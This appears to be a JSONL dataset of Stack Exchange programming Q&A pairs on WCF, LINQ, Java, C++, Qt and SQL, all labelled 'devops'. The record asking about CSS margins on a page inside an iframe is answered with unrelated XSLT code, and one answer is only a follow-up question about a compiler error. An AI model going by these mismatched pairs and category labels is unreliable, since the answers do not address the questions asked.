{"id": "hf_fee77f415f4d", "question": "<p>In my WPF app, I call a WCF service to retrieve my business object.  I take that business object and bind it to a grid.  I want to now apply the INotifyPropertyChanged attribute, but am unsure if it would work from WCF.  My ultimate goal is to be able to edit items in a grid, click update and push those back through a WCF service.  </p>\n", "question_body": "", "answer": "I think there is an option for the generated classes to implement that automatically.\n```\nsvcutil /enableDataBinding\n```\n- Implement the System.ComponentModel.INotifyPropertyChanged\n  interface on all Data Contract types\n  to enable data binding.\n                                       (Short Form: /edb)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.205668"}
{"id": "hf_440a7cc273bd", "question": "<p>So I have this app that checks for updates on the server getting a JSON response, each new update is put at the top of my list on a new div that is added via insertBefore using javascript.</p>\n\n<p>All works just fine, but i'd like to add an animation effect when the div is added, i.e. \"slowly\" move the existing divs down, and add the new one at the top, Any pointers on how to do that ?</p>\n\n<p>The application actually runs in facebook not using the iframe, I tried to use jquery but it does not seem to work on facebook, and looking at the code modifications that FB do, I assume other frameworks will have a similar problem.</p>\n", "question_body": "", "answer": "It depends on the JavaScript framework you're using; but look at\nMooTools\n,\nScriptaculous\n,\njQuery\nand\nYUI Animation\n. If you're just hammering out JavaScript on your own, you'll find that working with interval timers that modify the style of some element over time and then trigger an animation complete event to stop the timer and finally update the page is a fairly involved error prone process.\nYou're probably looking for something generally called\nslide\ndown\n(try the demos).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.254075"}
{"id": "hf_308381ca7c95", "question": "<p>Does anyone know of any documentation by MS or someone else that lays out the best practices for developing a 3 tier architecture in ASP.NET.  I am in the process of trying to convince my boss that the current architecture needs rethought and reworked to provide a flexible and reusable system.  I have found a lot of generic documentation that tells you at a high level the best practices as far as how to do this but little showing how you actually implement them.  I need to show him documentation as far as the advantages to using business objects versus data sets and things to that level of detail.  Any help would be appreciated.</p>\n", "question_body": "", "answer": "Microsoft's\nPatterns & Practices group\nhas published various whitepapers and documents in the form of \"architectural guidance\" that can be helpful. They recently published a number of\n\"pocket guides\"\nas well. Even if you don't follow them to the letter, they're likely to be a great starting point for discussing your particular needs.\nThat they come from Microsoft may also help add credibility in the discussion with your boss. There's one on\nWeb Application Architecture\n, in particular, that sounds like it may be relevant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.278287"}
{"id": "hf_068ad7ed3b4f", "question": "<p>Is there any way to configure SQL Server 2000 Standard Edition (32 bit) to use more than 2Gb of memory on a server running Windows 2003 (64 bit)?</p>\n\n<p>Thanks for any help.</p>\n", "question_body": "", "answer": "It appears that this Microsoft article is of relevance:\nHow to configure SQL Server to use more than 2 GB of physical memory", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.380482"}
{"id": "hf_30bb75bc45be", "question": "<p>Looking for tips, tutorials, books and other resources to get started with Constraint Programming.</p>\n", "question_body": "", "answer": "I recommend getting started with\nmozart\n.  It is an open-source constraint programming language and the site has plenty of documentation that will get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.444485"}
{"id": "hf_6dc5deed5ffc", "question": "<p>What is the best way to convert a double to a long without casting?</p>\n\n<p>For example:</p>\n\n<pre><code>double d = 394.000;\nlong l = (new Double(d)).longValue();\nSystem.out.println(\"double=\" + d + \", long=\" + l);\n</code></pre>\n", "question_body": "", "answer": "Assuming you're happy with truncating towards zero, just cast:\n```\n```\ndouble d = 1234.56;\nlong x = (long) d; // x = 1234\n```\n```\nThis will be faster than going via the wrapper classes - and more importantly, it's more readable. Now, if you need rounding other than \"always towards zero\" you'll need slightly more complicated code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.495420"}
{"id": "hf_13b1104790f6", "question": "<p>I would like to return all rows from <code>TableA</code> table that does not exists in another table.</p>\n\n<p>e.g.   </p>\n\n<pre><code>select bench_id from TableA where bench_id not in (select bench_id from TableB )\n</code></pre>\n\n<p>can you please help me write equivalent LINQ query. Here <code>TableA</code> is from Excel and <code>TableB</code> is from a Database </p>\n\n<p>I am loading Excel sheet data into <code>DataTable</code>, <code>TableA</code>. <code>TableB</code> I am loading from Database. In short, <code>TableA</code> and <code>TableB</code> is type of <code>DataTable</code></p>\n", "question_body": "", "answer": "So if table A is from Excel, are you loading the data into memory first? If so (i.e. you're using LINQ to Objects) then I suggest you load the IDs in table B into a set and then use:\n```\n```\nvar query = tableA.Where(entry => !tableBIdSet.Contains(entry.Id));\n```\n```\nIf this isn't appropriate, please give more details.\nConverting into a set is probably best done just by using\nthe HashSet constructor which takes an\n```\nIEnumerable<T>\n```\n. For example:\n```\n```\nvar tableBIdSet = new HashSet<string>(db.TableB.Select(entry => entry.Id));\n```\n```\n(If the IDs aren't actually distinct, you could add a call to Distinct() at the end.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.549942"}
{"id": "hf_42297452460d", "question": "<p>I have Enitity Type, Name of Primary Key and Guid of Primary Id. I want to get element of such Id in LinqToSql.</p>\n\n<pre><code>model.GetTable&lt;T&gt;().Where(t =&gt; here equality  );\n</code></pre>\n\n<p>I think I need to generate that Expression myself, but I dont know how :(</p>\n", "question_body": "", "answer": "I look forward, and after searching through generated by compiler code, in Reflector I found this creation of lambda.\n```\n```\npublic static T GetById(Guid id)\n    {\n        Type entType = typeof(T);\n\n        if (!CheckTable(entType)) {\n            throw new TypeLoadException(string.Format(\n                \"{0} is not Table Entity, has no attribute Table\", entType.FullName));\n        }\n\n        string property = GetPrimaryKeyName(entType).Name;\n\n        ParameterExpression cs;\n        var lambda = Expression.Lambda<Func<Personal, bool>>(\n                Expression.Equal(\n                        Expression.Property(\n                                cs = Expression.Parameter(typeof(T), \"p\"), \n                                entType.GetProperty(property).GetGetMethod()\n                        ), \n                        Expression.Constant(id), \n                        false, \n                        typeof(Guid).GetMethod(\"Equals\")\n                ), new ParameterExpression[] { cs }\n        );\n\n        return Connection.Model.GetTable<T>().Single(lambda);\n    }\n```\n```\nThe thing what I need, but I have compiler exception:\nError 5   The type arguments for method\n  'System.Linq.Enumerable.Single(System.Collections.Generic.IEnumerable,\n  System.Func)' cannot be\n  inferred from the usage. Try\n  specifying the type arguments\n  explicitly.   D:\\Projects\\Own\\Yabeda\\Source\\trunk\\med\\Yabeda.Med.Mvc\\Data\\Oper.cs 48  20  Yabeda.Med.Mvc\nCan't find what this Error means!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.614529"}
{"id": "hf_2e683cee230d", "question": "<p>Anyone know of a free xls to text converter that can be run from the unix command line?</p>\n", "question_body": "", "answer": "A quick search of\n```\napt-cache\n```\nturned up the\nUbuntu package python-excelerator\nfor\nexcelerator\n, which includes\n```\npy_xls2html\n```\n,\n```\npy_xls2csv\n```\nand\n```\npy_xls2txt\n```\nutlities. Will this work for you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.721405"}
{"id": "hf_b0daab417b8e", "question": "<p>How does one read a data file in an iPhone project?  For example, lets say I have a static file called \"level.dat\" that is structured as follows:\nobstacles: 10\ntime: 100\nobstacle1: 10,20\n...</p>\n\n<p>I would like to read the contents of the file into a NSString then do the parsing.  How do I read the contents of a file into a string?  Also, where in the project should the \"level.dat\" file reside?  Should it be under \"Resources\" or just in the main directory?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "See this answer:\nHow to fopen() on the iPhone?\nwhich shows how to get access to resources in your bundle. Once you have the path, just use [NSString stringWithContentsOfFile:encoding:error:].\n```\n```\nNSString   *path = [[NSBundle mainBundle] pathForResource: @\"level\" ofType: @\"dat\"]\nNSError    *error = nil;\nNSString   *data = [NSString stringWithContentsOfFile: path \n                                             encoding: NSUTF8StringEncoding \n                                                error: &error];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.757246"}
{"id": "hf_dfdd6356abb3", "question": "<p>Given:</p>\n\n<pre><code>FieldInfo field = &lt;some valid string field on type T&gt;;\nParameterExpression targetExp = Expression.Parameter(typeof(T), \"target\");\nParameterExpression valueExp = Expression.Parameter(typeof(string), \"value\");\n</code></pre>\n\n<p>How do I compile a lambda expression to set the field on the \"target\" parameter to \"value\"?</p>\n", "question_body": "", "answer": ".Net 4.0\n: now that there's\n```\nExpression.Assign\n```\n, this is easy to do:\n```\n```\nFieldInfo field = typeof(T).GetField(\"fieldName\");\nParameterExpression targetExp = Expression.Parameter(typeof(T), \"target\");\nParameterExpression valueExp = Expression.Parameter(typeof(string), \"value\");\n\n// Expression.Property can be used here as well\nMemberExpression fieldExp = Expression.Field(targetExp, field);\nBinaryExpression assignExp = Expression.Assign(fieldExp, valueExp);\n\nvar setter = Expression.Lambda<Action<T, string>>\n    (assignExp, targetExp, valueExp).Compile();\n\nsetter(subject, \"new value\");\n```\n```\n.Net 3.5\n: you can't,  you'll have to use System.Reflection.Emit instead:\n```\n```\nclass Program\n{\n    class MyObject\n    {\n        public int MyField;\n    }\n\n    static Action<T,TValue> MakeSetter<T,TValue>(FieldInfo field)\n    {\n        DynamicMethod m = new DynamicMethod(\n            \"setter\", typeof(void), new Type[] { typeof(T), typeof(TValue) }, typeof(Program));\n        ILGenerator cg = m.GetILGenerator();\n\n        // arg0.<field> = arg1\n        cg.Emit(OpCodes.Ldarg_0);\n        cg.Emit(OpCodes.Ldarg_1);\n        cg.Emit(OpCodes.Stfld, field);\n        cg.Emit(OpCodes.Ret);\n\n        return (Action<T,TValue>) m.CreateDelegate(typeof(Action<T,TValue>));\n    }\n\n    static void Main()\n    {\n        FieldInfo f = typeof(MyObject).GetField(\"MyField\");\n\n        Action<MyObject,int> setter = MakeSetter<MyObject,int>(f);\n\n        var obj = new MyObject();\n        obj.MyField = 10;\n\n        setter(obj, 42);\n\n        Console.WriteLine(obj.MyField);\n        Console.ReadLine();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.792317"}
{"id": "hf_ff00d0ad867f", "question": "<p>In Qt, when a widget receives focus, how can get a notification about it, so I can execute some custom code? Is there a signal or an event for that?</p>\n", "question_body": "", "answer": "There is a \"focusChanged\" signal sent when the focus changes, introduced in Qt 4.1.\nIt has two arguments, he widget losing focus and the one gaining focus:\n```\n```\nvoid QApplication::focusChanged(QWidget * old, QWidget * now)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.815983"}
{"id": "hf_32ad60218ef2", "question": "<p>I change the FontSize of Text in a Style trigger, this causes the Control containing the text to resize as well. How can I change the Fontsize without affecting the parent's size? </p>\n", "question_body": "", "answer": "What kind of control are you using? If this is a HeaderedControl like a GroupBox or TabItem then you need to specifically set the HeaderTemplate like this:\n```\n```\n<DataTemplate x:Key=\"MyHeaderTemplate\">\n  <TextBlock Text=\"{Binding}\" Fontsize=\"14\" FontWeight=\"Bold\" />\n</DataTemplate>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.869389"}
{"id": "hf_cb58fe6466aa", "question": "<p>Say I'm extending a TextBox called CustomTextBox in .net. In certain situations I would like to force a tab to the next TabIndex on the form. Is there a way to do this beyond getting all the controls contained in CustomTextBox's parent, sorting them by their TabIndex, and then focusing the next ordinal one?</p>\n", "question_body": "", "answer": "I think you are looking for something like the following method:\n```\n```\nform1.SelectNextControl(textBox1, true, true, true, true);\n```\n```\n(All the trues are just different options, read the intellisense!)\nYou did say it is WinForms and not WebForms right?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.911911"}
{"id": "hf_a896f81f6f60", "question": "<p>I have an application that I want to export high-resolution (or rather, high pixel density?) images for printing - for example, I want images that print at 250 dots per inch (DPI), instead of the default, which I understand to be 72 DPI.</p>\n\n<p>I'm using a BufferedImage with a Graphics2D object to draw the image, then ImageIO.write() to save the image.</p>\n\n<p>Any idea how I can set the DPI?</p>\n", "question_body": "", "answer": "Kurt's answer showed the way, still it took me quite some time to get it run, so here is the code that sets DPI when saving a PNG. There is a lot to do to get the proper writers and such...\n```\n```\nprivate BufferedImage gridImage;\n ...\n\n private void saveGridImage(File output) throws IOException {\n    output.delete();\n\n    final String formatName = \"png\";\n\n    for (Iterator<ImageWriter> iw = ImageIO.getImageWritersByFormatName(formatName); iw.hasNext();) {\n       ImageWriter writer = iw.next();\n       ImageWriteParam writeParam = writer.getDefaultWriteParam();\n       ImageTypeSpecifier typeSpecifier = ImageTypeSpecifier.createFromBufferedImageType(BufferedImage.TYPE_INT_RGB);\n       IIOMetadata metadata = writer.getDefaultImageMetadata(typeSpecifier, writeParam);\n       if (metadata.isReadOnly() || !metadata.isStandardMetadataFormatSupported()) {\n          continue;\n       }\n\n       setDPI(metadata);\n\n       final ImageOutputStream stream = ImageIO.createImageOutputStream(output);\n       try {\n          writer.setOutput(stream);\n          writer.write(metadata, new IIOImage(gridImage, null, metadata), writeParam);\n       } finally {\n          stream.close();\n       }\n       break;\n    }\n }\n\n private void setDPI(IIOMetadata metadata) throws IIOInvalidTreeException {\n\n    // for PMG, it's dots per millimeter\n    double dotsPerMilli = 1.0 * DPI / 10 / INCH_2_CM;\n\n    IIOMetadataNode horiz = new IIOMetadataNode(\"HorizontalPixelSize\");\n    horiz.setAttribute(\"value\", Double.toString(dotsPerMilli));\n\n    IIOMetadataNode vert = new IIOMetadataNode(\"VerticalPixelSize\");\n    vert.setAttribute(\"value\", Double.toString(dotsPerMilli));\n\n    IIOMetadataNode dim = new IIOMetadataNode(\"Dimension\");\n    dim.appendChild(horiz);\n    dim.appendChild(vert);\n\n    IIOMetadataNode root = new IIOMetadataNode(\"javax_imageio_1.0\");\n    root.appendChild(dim);\n\n    metadata.mergeTree(\"javax_imageio_1.0\", root);\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.951327"}
{"id": "hf_948ae41575fa", "question": "<p>Are the threadlocals variables global to all the requests made to the servlet that owns the variables?</p>\n\n<p>I am using resin for the server.</p>\n\n<p>Thanks for awnser.</p>\n\n<p>I think I can make my self more clear.</p>\n\n<p><strong>The specific Case:</strong>  </p>\n\n<p>I want to:</p>\n\n<ul>\n<li>initialize a static variable when the request starts the execution.</li>\n<li>be able to query the value of the variable in the further executions of methods called from the servlet in a thread safety way until the request ends the execution</li>\n</ul>\n", "question_body": "", "answer": "I think they are global to all requests made with that specific thread only. Other threads get other copies of the\nthread-local\ndata. This is the key point of thread-local storage:\nhttp://en.wikipedia.org/wiki/Thread-local_storage#Java\n.\nUnless you check the appropriate option in the servlets config, the servlet container will use your servlet with multiple threads to handle requests in parallel. So effectively you would have separate data for each thread that's up serving clients.\nIf your WebApplication isn't distributed (runs on multiple Java Virtual Machines), you can use the\n```\nServletContext\n```\nobject to store shared data across requests and threads (be sure to do proper locking then).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.975991"}
{"id": "hf_c999a02ce0e2", "question": "<p>I've seen a number of examples that have a thread procedure that looks like this.</p>\n\n<pre><code>    private void ThreadProc()\n    {\n        while (serviceStarted)\n        {\n            // do some work\n\n            Thread.Sleep(new TimeSpan(0, 0, 5));\n        }\n\n        Thread.CurrentThread.Abort();\n    }\n</code></pre>\n\n<p>Is the <code>Abort()</code> really necessary at the end?</p>\n\n<p>There are number of arguments against calling <code>Abort()</code></p>\n\n<ol>\n<li>Once the procedure exited - it is expected it has already cleaned up after itself.</li>\n<li>Calling <code>Abort()</code> throws an exception, which is generally more resource intensive than just exiting a procedure.</li>\n</ol>\n\n<p>I'd like to read an explanation for why this is or isn't a good practice.</p>\n", "question_body": "", "answer": "Calling\n```\nThread.Abort()\n```\ndoes raise an exception, and if you're writing code that will be re-used (or part of a base library) it's difficult for other developers to handle\n```\nThreadAbortExcpetion\n```\ns.\nIt's explained in this article about\nReliability Best Practices\n.\nI've always heard that calling\n```\nThread.Join()\n```\nis a better way to do it, if you can wait until the thread is completed processing.\nI don't know if anyone thinks it's a good practice.  It can cause deadlocks (because unmanaged resources aren't properly cleaned up when you throw an exception)\nHere's\nanother article about it\n, and other methods to deal with the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.024341"}
{"id": "hf_d98364511e20", "question": "<p>I'm trying to encrypt some integers in java using java.security and javax.crypto.  </p>\n\n<p>The problem seems to be that the Cipher class only encrypts byte arrays.  I can't directly convert an integer to a byte string (or can I?).  What is the best way to do this?</p>\n\n<p>Should I convert the integer to a string and the string to byte[]?  This seems too inefficient.</p>\n\n<p>Does anyone know a quick/easy or efficient way to do it?</p>\n\n<p>Please let me know.</p>\n\n<p>Thanks in advance.</p>\n\n<p>jbu</p>\n", "question_body": "", "answer": "You can turn ints into a byte[] using a DataOutputStream, like this:\n```\n```\nByteArrayOutputStream baos = new ByteArrayOutputStream ();\nDataOutputStream dos = new DataOutputStream (baos);\ndos.writeInt (i);\nbyte[] data = baos.toByteArray();\n// do encryption\n```\n```\nThen to decrypt it later:\n```\n```\nbyte[] decrypted = decrypt (data);\nByteArrayInputStream bais = new ByteArrayInputStream (data);\nDataInputStream dis = new DataInputStream (bais);\nint j = dis.readInt();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.060393"}
{"id": "hf_8b31c3630d4e", "question": "<p>How do I convert a date string, formatted as <code>\"MM-DD-YY HH:MM:SS\"</code>, to a <code>time_t</code> value in either C or C++? </p>\n", "question_body": "", "answer": "I'm afraid there isn't any in Standard C / C++ . There is the POSIX function\n```\nstrptime\n```\nwhich can convert to\n```\nstruct tm\n```\n, which can then be converted to\n```\ntime_t\n```\nusing\n```\nmktime\n```\n.\nIf you are aiming for cross platform compatibility, better use\n```\nboost::date_time\n```\n, which has sophisticated functions for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.084377"}
{"id": "hf_b65eb745f142", "question": "<p>I was wondering in C++ if I have an enum can I access the value at the second index?  For example I have</p>\n\n<pre><code>enum Test{hi, bye};\n</code></pre>\n\n<p>if I want 'hi', can I do something like Test[0], thanks.</p>\n", "question_body": "", "answer": "Enumerations map names to values.  In your case, (int)hi would have a value of 0, and (int)bye a value of 1.  You can use a cast to get the value of hi:\n```\n```\nint myInteger = 0;\nTest myValue = (Test)myInteger;\n```\n```\nNote, though, that myValue could be an invalid enum value if myInteger is out of range.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.121566"}
{"id": "hf_6bc495742956", "question": "<p>Is there a good equivalent implementation of <code>strptime()</code> available for Windows?  Unfortunately, this POSIX function does not appear to be available.</p>\n\n<p><a href=\"http://www.opengroup.org/onlinepubs/009695399/functions/strptime.html\" rel=\"noreferrer\">Open Group description of strptime</a> - summary: it converts a text string such as <code>\"MM-DD-YYYY HH:MM:SS\"</code> into a <code>tm struct</code>, the opposite of <code>strftime()</code>.</p>\n", "question_body": "", "answer": "An open-source version (BSD license) of\n```\nstrptime()\n```\ncan be found here:\nhttp://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/time/strptime.c?rev=HEAD\nYou'll need to add the following declaration to use it:\n```\n```\nchar *strptime(const char * __restrict, const char * __restrict, struct tm * __restrict);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.204273"}
{"id": "hf_d9da3fd8f7f6", "question": "<p>I have a ‘page a’ using ‘css a’. This page has margins set in css.\nI also have a ‘page b’ using ‘css b’. This page also has margins set in css, of the same size as in ‘css a’ (10px).</p>\n\n<p>Is there any way I can make it so that when I am viewing ‘page a’ on its own it has margins, but when viewed in an iframe on ‘page b’ the margins don’t apply to ‘page a’. I know that’s kind of a long way of asking but the basic problem is that I am getting ‘double margins’ for the content in the iframe: the margin from ‘page a’ and then the margin from ‘page b’!</p>\n\n<p>I guess one way of doing it would be to set the iframe not to be affected by ‘page a’s’ margins. Is there some way I can set ‘css a’ to exclude the iframe from the margins, that way only the margins from css b would apply and the page would still be in alignment. is that possible?</p>\n\n<p>Thanks for any help</p>\n\n<p>Matt </p>\n", "question_body": "", "answer": "Using one of the most fundamental XSLT design patterns: \"Overriding the\nidentity transformation\n\" one will just write the following:\n```\n<xsl:stylesheet version=\"1.0\"\n xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n\n <xsl:output omit-xml-declaration=\"yes\"/>\n\n    <xsl:template match=\"node()|@*\">\n      <xsl:copy>\n         <xsl:apply-templates select=\"node()|@*\"/>\n      </xsl:copy>\n    </xsl:template>\n\n    <xsl:template match=\"Element[@fruit='apple' and @animal='cat']\"/>\n</xsl:stylesheet>\n```\nDo note\nhow the second template overrides the identity (1st) template only for elements named \"Element\" that have an attribute \"fruit\" with value \"apple\" and attribute \"animal\" with value \"cat\". This template has empty body, which means that the matched element is simply ignored (nothing is produced when it is matched).\nWhen this transformation is applied on the following source XML document:\n```\n<doc>... \n    <Element name=\"same\">foo</Element>...\n    <Element fruit=\"apple\" animal=\"cat\" />\n    <Element fruit=\"pear\" animal=\"cat\" />\n    <Element name=\"same\">baz</Element>...\n    <Element name=\"same\">foobar</Element>...\n</doc>\n```\nthe wanted result is produced:\n```\n<doc>... \n    <Element name=\"same\">foo</Element>...\n    <Element fruit=\"pear\" animal=\"cat\"/>\n    <Element name=\"same\">baz</Element>...\n    <Element name=\"same\">foobar</Element>...\n</doc>\n```\nMore code snippets of using and overriding the identity template can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.239766"}
{"id": "hf_eedaf32de720", "question": "<p>Does anybody know if it is possible <strong>to choose the order of the fields</strong> in Dynamic Data (of course, without customizing the templates of each table) ?</p>\n\n<p>Thanks !</p>\n", "question_body": "", "answer": "You can do this by modifying the order of the public properties in your LINQ to SQL file.\nFor example, I went into Northwind.designer.cs which was my auto-generated LINQ to SQL file and moved the public property named Products above the public property CategoryName in the public partial class Category. Then I recompiled and the default template displayed the columns in my new order.\nOf course, this means your editing auto-generated code and if you regenerate it, your changes are lost, so this technique is not without peril.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.323622"}
{"id": "hf_1c56edbf997e", "question": "<p>I am new to LINQ. I am trying to find the rows that does not exists in the second data table.  </p>\n\n<p>report_list and benchmark both type are : DataTable. Both these datatables are being populated using OleDbCommand,OleDbDataAdapter. I am getting an error \"Specified cast is not valid.\"  in foreach ... loop. I would appreciate your help.</p>\n\n<pre><code>            var result = from a in report_list.AsEnumerable()\n                         where !(from b in benchmark.AsEnumerable()\n                                 select b.Field&lt;int&gt;(\"bench_id\")\n                                )\n                                .Contains(a.Field&lt;int&gt;(\"BenchmarkID\"))\n                         select a;\n\n\n\n            foreach (var c  in result)\n            {\n                Console.WriteLine(c.Field&lt;string&gt;(\"Name\"));\n            }\n</code></pre>\n", "question_body": "", "answer": "I don't know if I understood your question. Are you trying to get the items that exists in the first table but not in the second?\n```\n```\nvar first = new string[] { \"b\", \"c\" };\nvar second = new string[] { \"a\", \"c\" };\n//find the itens that exist in \"first\" but not in \"second\"\nvar q = from f in first\n        where !second.Contains(f)\n        select f;\nforeach (var s in q) {\n    Console.WriteLine(s);\n}\n\n//Prints:\n//b\n```\n```\nI suggest you to make the inner query first, once it does not depend on the outer record.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.374532"}
{"id": "hf_82ce76c78cb5", "question": "<p>I currently working on an issue tracker for my company to help them keep track of problems that arise with the network. I am using C# and SQL. </p>\n\n<p>Each issue has about twenty things we need to keep track of(status, work loss, who created it, who's working on it, etc). I need to attach a list of teams affected by the issue to each entry in my main issue table. The list of teams affected ideally contains some sort of link to a unique table instance, just for that issue, that shows the list of teams affected and what percentage of each teams labs are affected.</p>\n\n<p>So my question is what is the best way to impliment this \"link\" between an entry into the issue table and a unique table for that issue? Or am I thinking about this problem wrong.</p>\n", "question_body": "", "answer": "If I understand the question correctly I would create....\nISSUE table containing the 20 so so items\nTEAM table containing a list of teams.\nTEAM_ISSUES table containing the link beteen the two\nThe TEAM_ISSUES table needs to contain a foriegn key to the ISSUE and TEAM tables (ie it should contain an ISSUE_ID and a TEAM_ID... it therefore acts as an intersection between the two \"master\" tables.  It sounds like this is also the place to put the percentage.\nDoes that make sense?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.409718"}
